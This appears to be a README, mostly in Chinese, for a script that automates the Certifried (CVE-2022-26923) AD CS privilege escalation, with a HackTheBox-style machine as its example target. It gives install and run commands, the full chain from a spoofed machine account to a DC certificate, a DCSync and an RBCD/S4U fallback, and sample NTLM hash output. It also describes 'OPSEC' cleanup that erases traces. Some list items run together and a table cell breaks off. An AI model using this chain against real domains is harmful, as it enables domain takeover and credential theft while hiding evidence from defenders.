
Automated CVE-2022-26923 Exploitation (Certifried)
自动化利用 CVE-2022-26923 (Certifried),通过滥用 Active Directory 证书服务(AD CS)实现权限提升,并自动回退到基于资源的约束委派(RBCD),最终转储域管理员账户的 NTLM 哈希。
⚠️ 仅供教育用途 / 实验室 / CTF
请勿在未经授权的环境中使用。
此脚本自动化执行以下攻击链:
dNSHostName 属性,使其与域控制器匹配secretsdump.py 执行 DCSync 攻击bloodyAD 配合使用impacket-addspn 向被入侵的机器账户添加 SPNgetST.py 请求 S4U2Self + S4U2Proxy 票据secretsdump.py 转储 NTLM 哈希dNSHostName 属性来冒充域控制器,从而使证书颁发机构(CA)为域控制器账户签发证书pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
提示: 在运行之前,请通过以下命令确定确切的 CA 名称和模板:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout然后相应地更新脚本默认值中的
CA_NAME和TEMPLATE。
根据环境的不同,两条路径之一将会成功:
方法 1(经典):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
方法 2(RBCD 回退):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC 清理会在结束时(或按 Ctrl+C 时)自动运行:
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
本项目仅供以下用途:
作者对任何未经授权或非法使用本工具的行为不承担任何责任。
| 工具 | 用途 |
|---|
certipy-ad | 账户创建/更新、证书请求、PKINIT 身份验证 |
bloodyAD | RBCD 属性篡改(回退方案) |
impacket-addspn | 在机器账户上添加 SPN(回退方案) |
impacket-getST | S4U2Self + S4U2Proxy 票据请求(回退方案) |
impacket-secretsdump | DCSync / NTLM 哈希转储 |
openssl | PFX → PEM 转换(回退方案) |
| 症状 | 原因 | 修复 |
|---|
NETBIOS connection timed out | HTB 上 AD CS RPC 延迟 | 自动处理(5 次重试) |
KDC_ERR_BADOPTION(getST 时) | COMP$ 上缺少 SPN | 脚本现在会在 getST 之前使用 impacket-addspn |
KDC_ERR_WRONG_REALM(secretsdump 时) | SPN 错误(LDAP vs cifs) | 脚本在 getST 中使用 cifs/ SPN |
Clock skew too great | Kerberos 时间偏差 | 运行前执行 sudo ntpdate <DC_IP> |
| 机器账户删除失败 | AD 权限不足(正常情况) | 脚本通过 ` |
使用 certipy-ad 时出现 unrecognized arguments | 语法不正确(旧的 certipy 格式) | 脚本使用显式参数 -u/-p/-target-ip |